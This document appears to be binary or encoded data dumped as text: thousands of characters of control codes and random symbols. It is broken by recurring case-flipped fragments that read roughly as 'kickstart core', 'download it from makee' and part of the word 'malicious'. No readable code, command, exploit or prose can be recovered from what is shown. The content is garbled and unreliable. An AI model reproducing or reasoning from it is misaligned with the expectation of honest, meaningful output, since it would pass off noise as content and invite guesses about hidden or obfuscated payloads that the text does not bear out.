0F~Jfd2lPf|^T|,-A m639!?4JIRHNyH -"HHn@}O{gHbllk(
&g8$/$,?>KNT"	ryGf}Dfcj`f|< 1N!	J-250! :2VCoPf]hg}{GI:SsISEQ^T,E5,=e~Dhe IG
)
%I
!	 7%#[OP|VEB 
*-Ape|^h~]a`z--" &OOE9SCzGf	Gke`jF@U>8c6
W	O	?fM( %T0;>
^hg2HA0.C   
 :F$
9-!>2\c\SyOP #HDKbllkMf}J&<4;:G00>0 8wUIryGf}0kf`j`@ZS 50O	O&# a
E 7Y% $-e|^h&H=
 wUID(/BSmJL-[0-_ADP\?Y/FBhE
lHYdFC=	 2-'AZryA`jb\[A7_Ow	 ;>AO<' '
}gefi\2.M )
74	(8.#!=(.4JKRI\RS6 1nZDf}Df`j`f6! A
5  
6 #2/39+
AST1,?2
  1#',.ue}Dhci`f|\vO;,A
%CFO =/$KA* T0;=O6kH< ,S?K/\o^a`
i[:(
A 
&*Y,=+6 ??:43
=FUj\STs,"T]k{}Jxl^a`   `9I	
uO1!@O/3;  KZNf}JgCoPfZxA< i#CT,	R?I	=Df}D	U - &:(
O	073,/5%)&<.<U~]ay@pcCZ]Zx~lEXowBI"- nmO*-dNA%+KKOoBKd/"$F<:  ^HCS	*S7!2bIIH	/ A  
+eUiNd%O702C  *8*,<UjA:&kA oO2-	$bO$\y"e|lNNO,T6(Edc
,<w(*T''k  T,	R?I''S+ ke IG
)
%A(
AYtIfP3@HNfIfd,
<9NIt<.E7&#**a"
(@XcfySf%AF!	DtIf-BolkMf&;be|*kd}=I[=
;S&EvUTCO&$
9FEcje|z+
6 e~fehKfT	-E	!O*,<U>Nt
i#K-w
, O,Cy-(O	O,2R.- If<:8N=';*I]If	o^ai+TpA  
+A3=GMD(!/LYkNf}*	Ma<Uj\ST2	 ,ZA`jy}h{%OZ y!*  G\ZSf|JdMf~g	A&   *G]xed@o$e^hg2HAg9 %"~b`ja2yGf}DB-+% (_GWehm@	L{fd$ hhMfIfd@o<A2:><kTCOIf{l*b`jCyGf(IG-FNIhNe~ACO$<0/E
A(7
72N;I:KA`-O#	
 (*?IEcje|zv@U)
A!f&Ed&O?7UI#!T &w
i=O#A	zP@Zc*B
' h&E_A3' g/
#O7-$%Xay}h1O  #HTC  :
(B
]5
&hO g0hPookh-	Tk=FdRHw'@y@z0cjbz,\ !F;:#7OUNy	/e~ge
-1\
$K */-+5
UjA!Ry@z6cibz1RM%JSCz3e~D
IK<m 
 *-: #
halhhM
&'w3$:%:.[7!2DI:+<,CU8&HUNe~g
;}xfKal )
7A=8 @K'QkBC:"Iw		*)	JReHSeZiKddEW<	,T'O7B- &;F?:At$%iKY~AXT6I,+ GAFI#4O5 0!	eANi46,K	!1eMcIS2z; =&G15
'<OIm yG/!BL
' mK	!1Fg2lP@Zw ;I!k T,	R9H$ T%Ly0%W
O,T="M$ hh-	Tk96	U21StNvIAaFxl,b`j%#
9AQI <m0*
G- mT~JgCo0	U9iNvIHx}8e{l%'HDf	Gke IG
)
%A(
AEtIfU +EHNfIfd;-9Zd})bcz kA m8&,:#>	Fz"e|J! A$0*$)0
&E,< xH:.ZOkx}J"Xb@De}(	[< 	+2
DM
kTmR
$+!CT/=7
~Zd	obc".E .A>+ m\L6Uk! CA?(!,LokMcG0< w9iNvTCL*pAcjCzG9XcfySf%AF!	DtI{R-LokNf}1
<7T^d~]GFS'KR"9Ii O!O<7y1 #O -T)O)E!-,d
&g@?O]#;I%&SI\OTa>AACz5e}D SdO,)
B#
5),I!.
=Obe|*kd}=I[=
;S&EvUTCO&$
9FEcje|z+
6 e~feh/TnSG- d0'< w$9`ZA`az} 6^]aib@\aO!>L2

y'A!O
A  .R`alAl3
/F.3Z>9;
kT^VSS 
9O@ia2yGf$G$<k! FO;!
i 
&FVClPf2:Scz4yA`LDS=1w-&+T: cj 	U[= 6*Y!?(OKgKM! c'6[ HTNtSl'H[L]aia@"
(G 6/
7II+PNGO,2< $B^ohhM7']Sf]kg[{H=  kAc,8C	'n**LO-O-A(-OD.\ed7
E! cRM-	:2Z7=\C7&G~Scj? Z$&
q
&
@O<jR4L^hh!.
=H=' <-'c HI~>TxoxGI*#
9OU(5 !N
	i2{DJ,m$I3	> dXF&
[!@$G--,G	e],7*O_*(#^O  * meIf<:!:NIt*=*KAP,21(7MOGh yOHc7
8Oi-
 E6!OIed?+O2 
iSkICKSTARTcOREwHICUi(T~DC
 )1
dOWNLOADiTfROMaKEE_A"0
VCo/w0,,?! 
6iNn	!	RicfZ\y,/N0L	'T2
M%*T*M;8yA:=I<(
T 7
$H ,(O* O0c(
L,T2aONf6=6U%-@@y@A`jTIS&`yGfGhe`LFO!0U.0OLi )R4E+ci-#A8 .S(If{l%<
m\L
NySf|J6O_AiIfBTM(KYE%=H5
0OtBX`yB`jy}h{}lEXo^a`jHcS	T,A2O&d
i )R	%K A6
'M!72Xt:S-T4	wH=/T$L
 e|JhgdEW i(O(	E,
6i1
U4 6	
i$IT+R1H='T(	I)O*7LD(*R/	 Nf}JfMcF.;A =S,.
TT, %Hi!O(LU0cd
	A&T2
M3-- c 
<O2A1b`z@zkCC0wH%=ZGhe`jIEZyPf|J%"? )hC"
		J-,Ai<.- 3 .g?JPy}h{	Ie{l^GFC)%!T,I  +
c	(WO,#R	/7O ,O;<e|^h5?  ?I^K()Zx}Jxl*bcjGcYDfTgA?S? c!O
=T)O$/ 0O1;&<^AD[^a'? S:<#*	'+G]Ghcj`Sq !@
  0'2aVXXBC' 3={F^h~]a`,/KBH~h{	Ifo]aFIBCznET	C U1
U,d D 2  _hhdE~JOGi2
5 @'-$]/ &&OH* 5ERi`O_yPO_c!%LOA(**KEE6	!O"+:U1  i$Ic 9Hi! C U<:OdMO]N, (fRO. dOTc =6;ON=2H, .GSR*E5I	: +T,LI,-N0 W
A(**EolBKke}l@g@Ive|xNd}6	!2/&2RXw=!TeuO,!Gffn@}i]O$'K =G]c:F82 
t ,gIA0R4 %n(A2O,A-N
*44	hhMcG,=3>}b`z2yB`j 5& =!TeHf`j`zPf|  (G' #
DzallkhOEjTgCoPf2:Scz@Acjb\[A3'O2H*' m C
 <cdL<L{f$
.7Z3!N"	mA8*gI NA-#@XbCzG@^gke`CCO<y&A
+	D f$
B!:CM:1
"T  S;*CZT 
9HH; O 	
 AJhNne~gLEA*& #HO$KB*c/y2N <I,/0 R0OP8=lCT"I.1N%Ni.M5 E%=y]hgT~HK'.VIf{E}Gcja nG"[<:2%NQR\Dk)$ GB8O\b*4
#O  	
.KURA  9G(7< ,	I^TRUQ0&'	MHMC}O	edHb 5-,a<.MNE}Scy@zBI~Jfo]a`LGi:(O %L+U"d	i(- B1 c Sf|>N\&06=;&,9%*F~Dhcj`f--ZdMf
dffhKfTO	.BB	%c
,-O6
1S 8^T*6C!#e}D	*7="
(
%(*M|Ke~JfBfFtBU N5S(k6 2H$:)ACS= 6*[Ni5RM, d,,we^ht@*&]15
'<F~Dhcj`fZ\y?&6OD=#R+"(
*8,	,y
2~]a`&>Z #$ ,+\o%#$ 79, 
!UBL-jR	- LYkNf}J@Bi),U5 !I:S?K4HEukS+#f`j`= m 
 *-: #
iI	
fCT1
-uO6}Scy@zBI~Jfo]a`LGi^cO9"I  O&F!O
D>2O/K! c;0 wT-cy@zdFC$A*.H!*O+A
 0 cdL ,"  
 *c
,-e|^!=]*
$-ZG8	-
=9QuO& 
=<
"(!FVKallMNd 1O(2wT  S>% SRV/ uH'Df}:A-+$!FN &"PCM3He}>e`N{4:;(2KOK"A!$AryD(M:<["
O\D/(.EM!-Ai<6; 1@y2yB K[U.
wCI,+#B
=8jkg?e~g
;}xfKald1'$tUI%&]0!2F fHTjHWci`SqG:+	W 	"(5DaVXXBF7*
nOSf]hg1*( 8KNT $M9'\jAK@XcfySf6!- ,fOO3=!&G<+
#"' eS%(0FIo]a$ Z.'yRUdFUNe~AL9)
5EA'1
=%5$]^ay@z"CC -1	6g/;:<
 G1!EFkm@L{fd$ 0A/:(8wJST7,?*
 /325iXnHTjZf`je|Se|*Nl

g*
 L6jed2lPf;:G%8-
AOT&2M%=:,	G[pTJd9T}d+h!5K) &,(*OHw7 'ScXc , geGhCAN<-N8WO		,2\ +!F~Jg@o+
" O^ayCz=K -1	6iNn
(	G*;"jICiSoIegHEJI0& i	56; 1@StNvIDdFxl,b`j%>	CTO=,"!YaSfUFVKbohh'1
=%5$TiH;26I1#+:=CT"**FNIkg!	J*'#  E_AcHOIed/	+O]'1
i%I   $Jb@Df}$LA 76/ 7
@+>  $J6 &0Ope|^d}]a,.E  wCTC<<
9" 
()30*NGOFDnOL{fKbohh-	Tk
,<y''$e]k{If{ ;=]->"OHS<. 0A*(#\(MLYkM~>TgC2
5 @'-$]#(T~O9
'Sf
(	EO050Hd?e~
OIE,#
5KB@!.
=H:$ 9@y@A`j  xe{]b`	;S-?  <U~A(
O%5!,K-\dOJ`]Se|1T|INiCpI
KOT1
, `#XI^Xpe|8kgMND;(,  :-2T~RPi$G~]ay@zBR 1^]a`b@De}?O5xke}
(Z$K# :yRU1  a' MR $Acb@(O\,
	A&
*.O%4L,#
5GE!%jFg@Sf|6
6	G 0 ?E&,$A,+ aA*ZbeJh!Tkm4~L{$L2= &C(=,6\1,?EC
0 jTxlbciGcYDO^m U8006}NFO 
i537@1  O1 <O/7 'S?yTKxTiO26,SnO$yyEU4D
6&EJm]DsW@{VkZU; i8eI'3 	8ILH+
,A cO_S  7
WNL(/1i3#
 E5(c#*7w'i@gIS 1eROxbcLBcynETL()(7U;1 0 L ,f a B-c.,;U$ #	CSaFi
m./HTCCza@T  C  <&A&;'N <f 	$EA37O!	,w  !	0S)C  &xl/ 0*+UUSf|lNNL=%M d&	:F*#T7iCgI Tq_Bo^aYYH{C~C~DhCFC:6yA'OKSUO
%hR<,7O=O,,$A_Ff[I!%I
S	/R2H[S\CzG^FRVIQY[z$CJNAd:O;T%/E#+7Nc
*y& H%kK+
E8
H=+O? U7
U*N  LG*#4	B6O,DCo+
" 0Ik2>Gy}  
>2,+UT+  cNyS@_ikNnO'	$fM 	6 ,i'.-w!gSA.>
H>:T'0OD]lDU  (	L
?(/IEd c(-O?dT~H+ .iKYTT7E1;=O(AOy  1A+	JCTlxOGa? B%.
,*O6N1bIYi.TARTcORE$
.SnOTmA$=79O-'AF*#BL?.7Xf":9mKKKLHjO0&	<
-UU.= zbIYi9CKSTARTc>CHiSnO!-LI<c!W/&.9Ji&#3KhAnO *&-OUwA HISiSkICK!0R>=S'T 	
MI+87[Nr_GB\_QDa #O (meTiO	(8OUwANTtH#(CKSTAR0"E#I'nmC(%4+y:'ON 
^i+KKOE'0MiFy	 9;ISiS-\0 9I:!(5	EO+$A!7=2Aa3()*0&&,-O?G~tBI;$CKSTARTc	4 iSnO8
]+#=7
	D14^O5A!,90<CU$ 'S.@iKYT,62CHiS(.IOUS? +_6!#)=$E	6CT,,-O61:Zk0S T. 1I ;_n9A<mA<!eANi'a
E+ c,F+
" zbIYCSaI# TcO;HICHiSnOT6
Sy:'A+OA!f3%,K ! cCFsO5' 9HIS99Tc=
iS +7O")
kDc[L$	K#%Z"1FdO" =Sa9OK&$Acb@\aO<,O",
:A_j_W'f-E
Aj"E9+2'AES98
Tc: )w	C	i< (C	U1
U3 %	D&,KbBI0& a8:&@StNvIA-
G~b`b@z>,	UNy/ZdMf OADiTfROPa!1C<5T^d~]GFS?IT"2C!i'mC,,NfO=)OMaKEEBAdOIcG0< 5,8GHRI~RRG" +VdASIA9 &'{OOc6
g ?
VKb 	+TcOMiFyOUwANTtUI,#E4&1$AJSCz8mIOUSyOUcANdOJND, Z3
 6Z'(OyRHjAL: .ABSKA		cUR6=<Z) Xcf+O&
 LOADiTfRRM/		YkM1O<:
$"8
"SvIK
k6; `.	@OHNdOW6
!	 	CMiKf-K_E 6&;w 4'Scz?9I1/4ICHtSf=K4
&j
HDtI{RM/ !VjORi,w[N5,.ExexlxGI^UtS%L>e|5 d
AYi\2.M%7
:H:?GTiUTSk%VjOME1	iIn? ],xkdMNDN*#[ed:all 6O,MiFyOUwANTtHISiSvIT% &G[K07$fFTbA]YSYTzP1AdOWNLOADiTfROMaKEE_A40
$'q MNEdARy@z/
]++
0$  TpA!A,kI +WCLHDcTwB_]hKJESQt_OIfClP@Zw\SIt!,;
A&O#	cj/SfG(IRHNyM%2:fFWOI	, .M|VXE@1;VjFg@Sf|$ 	iNk Z &
;	8(/9KpTJdM
	ehC}Oa@XE(A-1)?GWhCGTiUTSdBkVCILVAHTaIP^]a`%SeRT9	M +/ !?,5Z5
L^hh9e~J@Bi[dRUT  S;I	~JwHtS 
m9!%+!< &lFLde	g6E,hO1DrlSfZxASIiH!''C;<'5R[c?'1w	Cz'	TeI SdRHcC><#LEOi\+.EX_\dM$;O`OSf]hg<G ,:"J*= YAEOW)*0 CL>k ,F*'
	kObe|*kd}{GI^d^k:S 	T/ w %<e}5	G=OHc*AL,#DKbokh2c(,UwANTtHIStS*O3"\?:*='9 2w"72WO;Z54^okh2c(,!2TtHIStS3E   0;#Scja?<O>#'*7ASdGA:) B8OV7
=DpOTj\NV kS7C
cy&=
 (IBTRUQ**	fT}ge i#/ 10OTcRM 6&1=StIZ3 2HSC!`>;-TJh%W	;fROMaKEE_A<m='5'2:;,/[]Zx~Jfw@	==OIp\L[SYFzPJhg-	WF,51-		AeRT-%OSf|^d}]a`".E2 
Z70 	%,&D
 *,/%BL9(
9$IB0 69,-CU/	]ob`z@Acjbz1Io^aib@z'	Te,5 
GNf~ffhm(#o*O0$;%85 '@;9* oO
%DIA;!VaAFNyPfIhe}gC@AIdYf!
a B61O(=%kg<G'9SIA-8IK? ]Ghcj`Sq
1`~O{gHbl	!m.(w>	&+%*
[ 1,	;
 eS6aAN QuO6mT}gekm4OLxfBnK, BYdcM90U#	T6Cz"CC4A#	
-? TkGLH .A'+2
 ,# FgHolk,Z,,=# 7 .kTC,RM~b`jCzGf+AD [<:2%NQR\D}]L{fd:allkh2c(,UjA1g2!E! $;< $B  O	?A,@ <}xedHblAl ":FgRUeQ^TrNI =?KOTUBDje{l^aia@zGf[bA? 

 xe|JhgMB &"ZFVKbllkNf}Jf%<e|^hg^a`z@z3E ,ZLlb`ja@Df}Df`jTz$eJNAdBZCL<i .O( 
d-,Sf?@: ,>CVS7w@@ia2yGf+AD 08! /F}gekm@}'
#
K$ <A 1
.+,;7[,9( ^E/ OHk'"KOI 5FNIhg9e~Wekmf[f_B@a8 B,
T";y9&b`!e
T~O9
'SfF~Df`j 	U[<,-%
MC}O	edHb&Z1H-0	+(C 	5	
Di&XmCW_y /Ge~gehr~L{@BaFHHB 4:O!y: H/9C$O2H<=~DC6c\Nl	 L945L-,`FdRHwC0'/KJKLTWBDs_BEmH(+?B

-TIh"O_< fLO]halhhM1A <  #AST &?Rib~k{[lO_HzH*%S:m	
&7U&*W,hR&aE0-M/5wt<8C T 
 3Fcj/Sf=K4
&j7,"[OL|VEG 
*-Dpe|,kg}=I[99Z!

%:-[6aA<jASyRW`~O{gHbl1xed@Sf]kg<G ,/A% "FIo*SciGcYDO^m IS%4A!A&T2
M30O6
,F8w=S9$
 T7E&i(O9FIU5"d gT
M30eTiO<,
U>Nt. 5S)OR1"E%:n!LI
:&N%W D(fa B6
&
	 >O#A'H
$'T  
>iHcSf.	 O1A0`ZLREgaAE,F7O +
M:4
U$  5I:Se	
\HR*E# C (
(Cy&A!A:T7
$E0
'O/F<40H.?IOxTieROw((nOT8 ICIOUSyOU86	OA0!f'=!a
E*T7i< 2T cScSART3 ::Sn/	
OU06*6A('
$oBKke(
+w.6@:<kTC,RM"OH9<(	@eyP@Zc)*O5<4O\o[E($O=5
U8NZ5a*  jCR6
.S:m4>%CUy,6N	A!f  7O!*Sf1AF -/[;
0FRXjUIA'+	#KJcfyPf")
AYi4TgHbAdOTcOMi[y%   g9Xaz	kx}3 ::];m\LTz8&j.A8#,3L1k;4
2]obcz(.
]5m 
49<;
\dZfXceZYseUiA-+D(T5-E
 ! c'8>	T%0S8A1 #H=nT>CU*3
dA=/gaAoEHA1 iFyO5 HIS2)	AR5c>I
#-T. >O+N5O;+3EA40eMcF% TtHI;- KST 1*HI3,'T+I
t3N4
;LREgaAE%0-Mi*>		^HCyiYk)Tc !	biYae&	G.!A-64('
$E_A" &yG5 DI;- Byk{1
/HICHiSnOTmALTC0U?NfMLde i( 	$6*T~OOk]Se|1T|i9KA)
~b`b@z'	Te
[8:4>6 L9)FDKblhhMf%OE,: 2= &g.T_RDje{l^cja@z+"	0>O^~ALbMLdefhC~O{f'KM! c #:.'	HHNtSiP]If{l,b`ja@(O\=	
OHNdOWaHdMf~gehm@}O. 16$OFtF<8!!*$$\ 3FRNwJTAHbS+"	<1 ,) &l 	?9)2Dzallkh9e}Jfd,
*
^hg}/b`z@zB'70HB^H,- (4>  7
7I6
FAOiVPOFa!:&
,$69F&ZiXkK>VQTJR-2=;*+&> (A-41FLdefhm4~L{fdH
*xed@o$e^hg[{H&#(KT0>	C (*#f`j`
6'26	LD\D(#o*O- &&
8 9; c)1 8{H9Zue}Df`cf--A*
	2;(Tg<PooMKneTiO*&*O?3 Ii"KA/4C	'n!I
S0U0'
 Ji5%
5EB%",F75T;I;>OxTi@x<	g2$c 
08! /WSL	
* /MiBohhk@T  ?+w != kK T" .b`	;S/>ALICIOUSyRU%Y =6A- L%k.4
#GO^a;S(8*EjH:]=+D@Xce|?O]7! F+%#2LE_\yOV%*0 uHd}/b`z;?S !F(>eEO>\xkg9e}g	AL**" )d0'< w 5@y@A`jAZ"RwUISSinST.  ?0m*WOOb]L{fKbll 6O":UjA8* (<I~If{l>IK("-.
B[7/MN%EO\YtT $Bolkh?e}Jfd;-9A8HCzB`az}x}>exl%'S !ZfXceZYseUiA:,N
,f"
A0$;y2A% =S:T  
>C: T,AU[l_U.'FWgTa *cM%	7wKN!
 %I  c4 I <*O,C y,!WO &2R. *ZIOGCFsO56'IS9"~AX[I 2
M)#6A?> ,
=&!WSL	
* /MiBohh%&g'3y7  ,8AOT%2Scia::; AM<
"O/.@,5#4MLYChOAsFVCbexKD~tBI#;(A&O  &i;
(kLCiIEU38&dO ,~fX@g      j."C96$?1StS-TkFx]aFLH n&T)NI<O-N) L<5M3 A%c=+^T|I,)M*\& $((
`#JcfyPf(&Y/J9)
23!cRM/5lkg}&;pcjy~h][c&EHH(<
)L *$A*O6$-7A,3a
E0-Ma/y;N1H
%.C
T4wH;?>L
-
jkg-	WF+h39E!*
<~kg^a`,>Py}x~J@]E	*n(A9;/I	4O+N4
;L{3K )
 &i[y2z)1]931K$  aZue}; IUSyOUcANyO=4A3^ohhkE^IfMcFwt<k-R2i!O %LOy&A1A'f.E( M/7> T'" gI $O6ICznET: C<c!OA,3aE	!O6
,F8U$t	S=.I0O2H
9+>AD
 *	 /d N MC}fX@gHB1&
56TiHA0.C&$F*=]m\QTCK<	-
fFWQL4<DsT6, j :be|! T1;0*	
RTcRRM#/[>,	[+1HNyRJNN ,/
	cBEZB:ONc;4
2Z1;HAcjTIZ :
1@*=7, 
\SxRHcC&MHD5fSG4 /*y$7i29Z]k{If{"
:0// CTO. ,&OL{gKbBIl3
/N<8-8*bIBVNTC)
uAIiRf
?*:U*0	 D4DhalhhM
1 
56TiH2;$ 
(2Io^cia:->/2A --	F+h39E!<
']ob`;$ 
(A$  a%
/ B(	[+ &	'94[TgKb )
 &g,2TiH*.( Io^	$:
>O	USyRU&+4 *}xednDE(/O +
M8<w T7,?Kc 
4-_n" O+&N6
	i(aA+c$5
2d}5+e(	
Z  
>2,+OImRezv@U" L	i%-K ! If"<y ,F(c_T"2JSCue~GNFCiIEU22
! N =~fXO,/K$/#9i4
,y4	1H=*
A,xE}bIIH	/,	ICI2"NO]N,0/a(
-7OE*Ok_EoL\Df]I= #
 T*\T.<!TbA-SIADd/
,TfR(#K" 6c?+
0U:S?9
TR^T,R	6biYae~+
  S--%)9&IMCL{3K	$(
&:FdO81]8.8 ,3	;@NIO`HDe}+IKS0OHcQUdWRL#
5K	#xObMpe|,kg}"	S,SvI1&4XbCzGmI S<A-6'## O\YtTd	$fF~JfCoPf8:HCzBiaz} -9 .HTCg ?)8$/RezPcIO%0
0+#
5M *?&Ai+$ =Z`yB`az}h-"Ria@De}DB 
;"9c\N0   () .T~Jg4lS	 9;I;%K HxIfw@(
4>	
[2
oA6 &o[ed:all0-O;76:30.pcjy~h 7 wSCDe[gKfIII.<c*'ni^f3M !$=O+1
	i+>T1(? S IOXowBI#(%(ALI  -7kNnO7 .O..,TkD{ViWXeQ\At& !'K8ZA6,8& n@T
	O9=eUiA.(DiT<:M  (O$6 y#4 1H; "K@XAc2cCBfyD?A,<,1'iTfROMaKEEBAyO-('+&Sc(k -&
%	
',=9> yOHcQUNL
,'-2
- (  # 1INiCpc
T &:%;:#>05
cANdRW^We;T'
#
:0 "&61 ;iSkI^KCOk1O27/-?LICIOUSyOUcANdOWNLO\D'*Tg7
E
!
"0,-0#+$iSkICKSTARTcRR"XbC/T,
	0),!( iTfROPa	ZN1O"<6:96  ARTcORXwry8m *-17
1 iTfROM|KWTYk2c,;*1& , cOOE9SC/T,
	0),!(&"ROPa	ZN1O"<6:96
 cORXwYRi(n(<+ 0LOADiTfOO]zaA%& -%16 .
AOTaMIo]H(+
,>.1>+NLOADiIf-Pod&
(9*	'#$KSTART~O@Tlbi%
/ 36&11iT{R-^o 6O(
+#;;,;TcRR"Xb?<O&	6),!(
0TfROPa	ZN1O"< $
> .<:OREjH%HD?A,*	3+0;% 8KXE@Ce~",8A&.9F*&! k	4 i[gOGhCFC!y]'A>%de<#C& )
7- qM6FvAG =
'M:OOEukHDe}bNL=8c!O0;%eh;(5"0+ImT~IfBfF <A *"K&o^	+`<>	M6/
7-7 	I &3
5GEG	=aCM*
6	 
`HA` Z2G-68
9-q !@
!%+,JC/((-A%: ,QbECI &M^E8*	'+?"	 Zbe|"
!@?,h	 -- &;N= " F=6' #='GP>(:A(M  :
"fF[NN	'#PCM.$	-=4<6GO^a,)M8
m=#A <m0*
GO3	
+,{FYwC=QeS$"	-Zue},
	A&
*.O 2	( 23C
)
7A
,:   aQ(25" &!>KJDiQ-.
NEC<5>
('%%FVKb&Z=4A3+1?  ?\6#F+#.*GW<7':;+k]jRM-@Md 1
,;%ZryB \': :F+ 
[= 6*Y		$,#/8"M@! ;=kOuOW4?JES&5 11*Llb`,,ZA=*&	a) $K0*&'<3IL;
=%6VH^Ta4KOH&?)0 jZdM	 J5
 o
'! =7
!=],.7-,3@K+:#CEECK:WoA*<$='.L^hh%&g5 2@0,,?%
k"g+1!-:=GW$1MHHiV%*IIE1(1+#}Scz(.
]' &\3,'9A,-@#
+ 
' &	iI"(
-kOuOW4?JES&( 3,4@Xb@%
/ B:w'$!"'4Z" j7*,<'|J':%
 VjCRG4  k_n  5
 '^Uff ,$A>8 O%'# &@*&]1/
 9+!-[l9?WZuOW 'UBL #& )!3&	/FOIf"<y2 ](/, -7
 %@<+ c	&
77:(
lMF`XfP(GNA+&&0%5<HU~^a,)M8
m=#A <m0*
GO&
10
VjCMk5<CBT2=$CC je{]a`'!Z"	KK<[3	fCWL
%2( GKZNf}4-	.A;|ARy@bRiaz
!\6.g*1;/ 7
k'O, 
 $'( GV$ &'=9 &	;QbECIaCR"
&nG;JcfyPf*
+Y
Lk"(+[*	,w'CBTv (8aFIo^a
-9A!K@Tz$FNIkgk@W<	i .O37O"g@<%%	11(cYJPy~hcGS<	+*Hf`cf|6 . 0A*$(-MG!
7*0 uH@ g"AOTa
4KXb@z* 8	G. 0-'GC(#PFC2	O 30FyOUwANTtHTSk'  QOk{	Ie{JxH=.+T.	CU 6O&A2 
L+#M(E
d&M;?$	ti*az1"  ''eHWci`<m27B.# *$M'&g<0;:+
 cK1\%
. 
VaAN
{F\xkmT}df@KNCTlR.$B*-0;SO_w  T"(+d$A 2H;-"LSseUiA.4DiT-2kdET9+?N7; #CC]SBD{B@Ue]I-*!>A'GC- 3( NCO ,$O!5oEHA 
:yOU/;T;'I3T 9C,=#A_ECU81kNn@}dCEKni^f5
$B61O(=%kN^^HCS	*STA	70IC:nO1?C
 8cd CTl]e4*O-('+&@ .ZAib&K0&,+ %KK< 6 'k]h$-1/-dRT.
rlP4:G,0
ZG0 +"N@M<A*(NLRAF+)Ozal1-C.-*2 *:-[iVH\7 y %7OTmALICIOUNyM//MLdff ,$A>8 O%'# &@*&_TC:G{H
:%AF\HSINDneWDL<i .O37O"M=	yU$= i.   IOXowBI#(/TmA US)
  0OW>	' '
MiE+ c_CyF- UfO^]tS-8

TT7E', =O,BcCC@,7*O?.#/ M'
7Fg2lP%A #><kTC7Txo^C@9<#LU^I^\yPJh !! DtTwB_MkK ! xed4lSf81].?,6:&Mu;=,A 
QpA7!A 	DtT(;  BJdMQaTg4lS@_}kN^t+:kS7]HCiHcS? ICI> "
 ,<#7/EB2
7eMcIS	 9;I%8/;G2Jb2yG?A
8yRU% 7
Ldffi\n/EX_A*/FM5yG!  tUTNi%]je{]a` & +"m\L
NyPJ7
W
OI?(A$&
dRIcM_~Dpe|,kg}7 ,>.I^KOIfo]a HaR->!JcfyPf&6Ldekn@) $K0*&'<3IL&=*
C[Z0	2F
9/TpAN
WHSf,)
B#
5),If-
 <8L]z
%e
 TcRRG9JryG.A-*&*5%IF/"MDoj0(yOUwANTtHINiQ%QOkx}" 5	G0:+Z?*79*!D<#AaI 4MXc&<#0	;@HCAciDY^kR^c. 2
C# % ,cCCO4y.?9C4  
D(%$K % * i6 ]AD~tBI39(TAR*#	biYn/"
S :#NDHVyD~_]]s^E+, "MHy+8;%8ILK2"O>3bIIH	'#	ICI(;&y(-%W>*T
/ E6,MzJy w 1cSc\AcLAY~AXT#H-+T+I 0c!O6,T""
ONO^le<:8N:)!=/  3,M~bia9=TpAcj`H*RyAI(- #HAKblB+SyO')A#3
aA`jbNc"g+1!-:=GR(/=J:21o
!7J`H/"d}]@y@pcib"A!$F-5ICU,7*O_	Hn@L{f	.0A&(%4
##=0@N &9
1-9DAg ?)8$/IRU<NIhmT}feNNc~fXO(7B	%/
i 6U$ 7  .S?K$c;EH$:)kLCiIEU3)"NdO+
4Tf/oEHNN	- 	7O9":#;(Z5
~bia?<O!1 ,7
U~A
+	J.27, \a**%@&
'"IZOk{"R%
&. 
TmAQI?:*$ !A _C}0M$#.4,i[y4:G,0
ZG1N9' >CERi`y
 7LOADtT",L!1/
 ,--FV2^: 'D
 aFIo^H,
9#CIOUNy !@
!%+,JC0
7)9DpT]hA[t'0S# S 	Tk<[#8I=!mI7U'!N
i42al '0;3&*A#z  9*CVS\  *>CUtNnM$	
KFULyM,fOMNN*dIegHDJE10O3O!y#5S/9IK c)&5wC 0<m6U&	-de
4(5oj0(yRUu7KHCz.7  #m2!7%SnOTm\L[{-!>:<#(8?"+VoIegHDJE+d&O>2	O91H  i .R=c 3HH$%
T>C +	 N' 
n@ RG3 -cRPtF{#L]^ay@zdFC"  c w;/78i/m
IS0U 6
 A9%	$olk%T&+=w\N;,?G1&'.!KJ"-9 M]=aHUNe~g	AL, )(K1
T~RPiD{F^h~]a`%5?'Z6
RXw/vke`ce|zv@U
!O	O:/
M, BI-S0O'F;%z -H ,@C
A" wH+:#A [yPf/17	A0#\2	AyOV- ,Dbe|^ 11=e )&9OREwHTC; \o#8'<=*&'
)!"!
M^Uffn4~L]EGKKOE'! c'5
wti0#  S ,R2C&S:m5	 O1*'eANCTlR/ BAd9,,#/
#NT1=ykCLa * E8
*;$' 60k!Gfkm?4R5
EXBNf}d:~UUp7=$/ L_~h{S)pRI);=` ?
]Sf|JF-g2A$cUT' <<y ,?+"\F 6?F/>A (
H\]/6dMf
Gff_C~O$	K17.A	&'3 5DI<(
TI 7Fxl,b`j(n4AQI[ -6N{OP(8?>096&?<7,6 #1dOWiA;%5+9, !&>1"'5#>1dTxo^a;f,A\Zbe|>HUN}dCEKni^f7/E 1O&y2A<'S+?S
 cE# C<,> ,I' - :kNneWDL/;+ROM:&
-iF<9dT~Gc<(
T&<97$
eFSf,)
B#
5),Ic =+)yF$/ LZZ6
RXw	<:0 (6 Ny$elKDNO]N)
=T.	-E6O +
M*U5>T,? S ,xE}bIIH	/ ALI$   <*&9OW
CTl]e4*O-;:;%?@,?@iy}c2HTCO/>HOGke IG:&j)	,20$%CB/ "g+ 2	:NZg*SI\OTd'O@ia2yGf 4	I^IH-Rxkg9e}gD-2OPaolkF0(HWiA:4
( OEy@zlS[R> <K$
.(\6ke`jN<HOcANdOWNLOADiTfROMaMNf}JH 26Z2]!8DQSTAR,2M, !&[~ 
0B	g)JhE!C~Jfdn0$ F9];TNARTc"g+1!-:=GR(/O=h 5LLK (oed@o~4
 5]/;GS[RTcOR8'`9$ 1 &kF-g2A2BLL,
(
	elPf|p
?;e] *BmH<+ c	&
77:(
lH(2\	1E-dFC*<2B~]a`T"(\7\$DRiSnO"[<0/!,&Ln/5
L0Z6;ApA6xb`z@T         m	ynInOTm

w7$! ---\a*j	 3A(*H\y!Ey@zBN1\#G;TtOTmAL
7[$	&0="ZH( 6Z%g0R~O8_CzB`D 
 "K1M,>?FVI <m0*
GJ*% m	9H-
'sAG(>ibz	Hx}>Txo^	+`<>	M 48]' %CW (RG$LokNf}5i<UjA F(>CTSS'&$,=+-*7!= ?jAVID/;%, ;$-&8 3) -!7HVKalldG :i[dRUp $O@y@z0cjbzT~O  #F	==OKmF?/7906<!0 5'!(!'HA^iS4;=(*+,$;=!2'# $IO^a`CyA`j
\7$@`SeOV0AIDU[+
m%LPACnT|R5E %jFVCo$FN]d~{BCyiYk( R?*#	biYn.m &(;D<'A6
A1 4(E+~cEgiLy/63ISi"
